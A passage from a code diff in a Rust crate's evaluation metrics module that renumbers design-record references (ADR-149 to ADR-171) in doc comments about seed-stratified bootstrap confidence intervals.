         FlightPattern::all().len()
     );

v2/crates/ruview-swarm/src/evals/metrics.rs

@@ -1,4 +1,4 @@
-//! Per-episode and aggregate SAR + MARL metrics (ADR-149 Stage 1).
+//! Per-episode and aggregate SAR + MARL metrics (ADR-171 Stage 1).
 
 use crate::evals::stats::{stratified_bootstrap_ci, ConfidenceInterval};
 
@@ -38,7 +38,7 @@ pub struct AggregateMetrics {
 impl AggregateMetrics {
     /// Aggregate a seed-stratified matrix of episodes. Each inner `Vec` is one
     /// seed's episodes; bootstrap resampling is stratified by seed so the CI
-    /// reflects between-seed variance (the dominant source per ADR-149).
+    /// reflects between-seed variance (the dominant source per ADR-171).
     pub fn from_strata(per_seed: &[Vec<EpisodeMetrics>], boot_seed: u64) -> Self {
         const N_BOOT: usize = 1000;